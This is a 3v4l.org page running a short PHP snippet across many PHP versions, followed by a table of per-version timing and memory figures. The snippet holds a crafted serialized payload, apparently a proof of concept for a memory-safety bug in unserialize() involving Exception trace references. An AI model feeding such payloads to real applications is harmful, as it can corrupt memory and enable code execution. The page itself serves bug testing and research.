3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";i:1;}i:0;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0170.00316.63
8.3.50.0110.01421.07
8.3.40.0110.00718.80
8.3.30.0000.01518.67
8.3.20.0040.00420.25
8.3.10.0000.00823.50
8.3.00.0040.00419.91
8.2.180.0040.01118.41
8.2.170.0070.00722.96
8.2.160.0130.00020.39
8.2.150.0040.00424.18
8.2.140.0000.00724.66
8.2.130.0030.00626.16
8.2.120.0030.00617.75
8.2.110.0030.00722.25
8.2.100.0060.00617.63
8.2.90.0000.00819.09
8.2.80.0000.00917.97
8.2.70.0090.00017.63
8.2.60.0050.00317.91
8.2.50.0060.00618.07
8.2.40.0000.00719.21
8.2.30.0030.00617.91
8.2.20.0040.00417.82
8.2.10.0000.00818.00
8.2.00.0000.00818.14
8.1.280.0110.00425.92
8.1.270.0050.00920.32
8.1.260.0040.00426.35
8.1.250.0000.00728.09
8.1.240.0030.00622.34
8.1.230.0070.00417.42
8.1.220.0050.00317.74
8.1.210.0000.00818.77
8.1.200.0030.00717.22
8.1.190.0000.00817.23
8.1.180.0000.00818.10
8.1.170.0060.00318.56
8.1.160.0070.00021.89
8.1.150.0080.00018.86
8.1.140.0000.00917.43
8.1.130.0000.00717.65
8.1.120.0000.00717.49
8.1.110.0050.00317.41
8.1.100.0040.00417.32
8.1.90.0030.00517.35
8.1.80.0040.00717.44
8.1.70.0000.00717.31
8.1.60.0080.00017.45
8.1.50.0030.00517.50
8.1.40.0000.00817.48
8.1.30.0030.00617.66
8.1.20.0040.00417.61
8.1.10.0000.00717.58
8.1.00.0050.00217.55
8.0.300.0030.00618.77
8.0.290.0000.00716.75
8.0.280.0070.00018.38
8.0.270.0000.00717.21
8.0.260.0030.00717.21
8.0.250.0080.00017.00
8.0.240.0060.00016.89
8.0.230.0000.00717.03
8.0.220.0000.01016.91
8.0.210.0040.00416.96
8.0.200.0030.00316.88
8.0.190.0040.00416.99
8.0.180.0040.00416.98
8.0.170.0050.00316.98
8.0.160.0000.00716.89
8.0.150.0040.00416.75
8.0.140.0000.00716.89
8.0.130.0060.00013.31
8.0.120.0050.00316.95
8.0.110.0040.00416.83
8.0.100.0000.00716.82
8.0.90.0040.00416.82
8.0.80.0140.00716.93
8.0.70.0040.00417.04
8.0.60.0050.00216.75
8.0.50.0000.00716.97
8.0.30.0090.00716.95
8.0.20.0110.01117.40
8.0.10.0040.00417.14
8.0.00.0120.00716.85
7.4.330.0050.00015.13
7.4.320.0000.00716.59
7.4.300.0000.00616.62
7.4.290.0030.00316.51
7.4.280.0000.00816.53
7.4.270.0030.00316.54
7.4.260.0090.00016.41
7.4.250.0040.00416.59
7.4.240.0040.00416.62
7.4.230.0070.00016.34
7.4.220.0110.00716.67
7.4.210.0000.01416.62
7.4.200.0030.00316.60
7.4.160.0040.01816.45
7.4.150.0060.01217.40
7.4.140.0090.00917.86
7.4.130.0130.01516.58
7.4.120.0070.01216.47
7.4.110.0040.01416.62
7.4.100.0110.00716.60
7.4.90.0040.01416.54
7.4.80.0070.01119.39
7.4.70.0110.00616.68
7.4.60.0030.01316.67
7.4.50.0050.00016.48
7.4.40.0110.00716.63
7.4.30.0080.00816.64
7.4.00.0130.00314.91
7.3.330.0030.00313.39
7.3.320.0000.00513.37
7.3.310.0030.00316.28
7.3.300.0030.00316.38
7.3.290.0090.00716.35
7.3.280.0100.00716.38
7.3.270.0100.00717.40
7.3.260.0060.01116.34
7.3.240.0140.00316.55
7.3.230.0080.00816.48
7.3.210.0090.01116.50
7.3.200.0130.00616.36
7.3.190.0140.01016.54
7.3.180.0060.01016.71
7.3.170.0110.00616.38
7.3.160.0140.00416.59
7.3.10.0120.00616.70
7.3.00.0170.00316.52
7.2.330.0100.00716.55
7.2.320.0100.00716.67
7.2.310.0080.00916.68
7.2.300.0100.00716.79
7.2.290.0100.00616.80
7.2.130.0140.00416.41
7.2.120.0190.00316.55
7.2.110.0130.01316.81
7.2.100.0090.01416.35
7.2.90.0110.01116.53
7.2.80.0150.00516.82
7.2.70.0090.01316.38
7.2.60.0140.00616.55
7.2.50.0130.00516.53
7.2.40.0190.00016.56
7.2.30.0160.00916.02
7.2.20.0250.00917.05
7.2.10.0100.00716.58
7.2.00.0080.01118.10
7.1.250.0120.01115.33
7.1.200.0080.00816.05
7.1.100.0070.00317.98
7.1.70.0000.01416.96
7.1.60.0000.01119.27
7.1.50.0160.00617.05
7.1.00.0070.07322.47
7.0.200.0230.00016.46
7.0.100.0100.07719.85
7.0.90.0100.07719.82
7.0.80.0070.07019.88
7.0.70.0170.07019.89
7.0.60.0070.05719.88
7.0.50.0400.06020.27
7.0.40.0070.09020.14
7.0.30.0170.07319.90
7.0.20.0130.04320.08
7.0.10.0100.08720.05
7.0.00.0170.07320.06
5.6.280.0030.03321.10
5.6.250.0070.07020.78
5.6.240.0000.09020.53
5.6.230.0030.08020.61
5.6.220.0100.03720.54
5.6.210.0070.08020.61
5.6.200.0100.07320.91
5.6.190.0030.08321.04
5.6.180.0070.08321.04
5.6.170.0070.08321.09
5.6.160.0030.08021.00
5.6.150.0130.08021.06
5.6.140.0100.07720.89
5.6.130.0070.08321.04
5.6.120.0130.09721.01
5.6.110.0130.06020.89
5.6.100.0100.06721.11
5.6.90.0000.08721.03
5.6.80.0070.07720.29
5.6.70.0030.08020.44
5.6.60.0130.07320.41
5.6.50.0100.06720.37
5.6.40.0100.07720.28
5.6.30.0200.06720.27
5.6.20.0100.07720.27
5.6.10.0130.05320.41
5.6.00.0130.04320.25
5.5.380.0070.07020.33
5.5.370.0130.06720.38
5.5.360.0100.07720.39
5.5.350.0030.06720.38
5.5.340.0130.07320.84
5.5.330.0030.05720.71
5.5.320.0230.07020.84
5.5.310.0030.05020.88
5.5.300.0130.07020.77
5.5.290.0070.08320.76
5.5.280.0170.07020.79
5.5.270.0100.07320.67
5.5.260.0100.08020.58
5.5.250.0070.07720.52
5.5.240.0070.06720.20
5.5.230.0130.07020.22
5.5.220.0070.08020.20
5.5.210.0100.07320.13
5.5.200.0170.07020.22
5.5.190.0070.08020.07
5.5.180.0100.08019.91
5.5.160.0130.06320.13
5.5.150.0070.08320.13
5.5.140.0100.07320.21
5.5.130.0030.06020.20
5.5.120.0100.06720.18
5.5.110.0100.07020.08
5.5.100.0130.07319.98
5.5.90.0030.08720.00
5.5.80.0030.08020.08
5.5.70.0030.08020.02
5.5.60.0070.07020.09
5.5.50.0100.08019.91
5.5.40.0030.06020.10
5.5.30.0030.08020.10
5.5.20.0070.07719.95
5.5.10.0070.07719.96
5.5.00.0100.06720.00
5.4.450.0070.07719.28
5.4.440.0100.06719.37
5.4.430.0100.06719.45
5.4.420.0000.08719.45
5.4.410.0070.08019.05
5.4.400.0030.08019.14
5.4.390.0170.06718.89
5.4.380.0100.07718.90
5.4.370.0030.08019.10
5.4.360.0100.07319.13
5.4.350.0070.07719.14
5.4.340.0070.07719.13
5.4.320.0070.04719.03
5.4.310.0100.06319.04
5.4.300.0030.08019.18
5.4.290.0030.07719.13
5.4.280.0070.06718.88
5.4.270.0070.08019.04
5.4.260.0030.07719.18
5.4.250.0070.08019.20
5.4.240.0170.06318.89
5.4.230.0070.07018.89
5.4.220.0070.07319.04
5.4.210.0030.08018.85
5.4.200.0100.07319.25
5.4.190.0170.06319.22
5.4.180.0030.07019.15
5.4.170.0100.04018.84
5.4.160.0070.07319.12
5.4.150.0070.08019.02
5.4.140.0030.07316.36
5.4.130.0070.07016.27
5.4.120.0070.07016.35
5.4.110.0100.06716.39
5.4.100.0070.03716.39
5.4.90.0130.06016.28
5.4.80.0030.06016.47
5.4.70.0030.06016.26
5.4.60.0000.08016.40
5.4.50.0030.08016.30
5.4.40.0000.08016.39
5.4.30.0070.07716.36
5.4.20.0070.04316.45
5.4.10.0070.04316.48
5.4.00.0100.07015.80

preferences:
47.59 ms | 401 KiB | 5 Q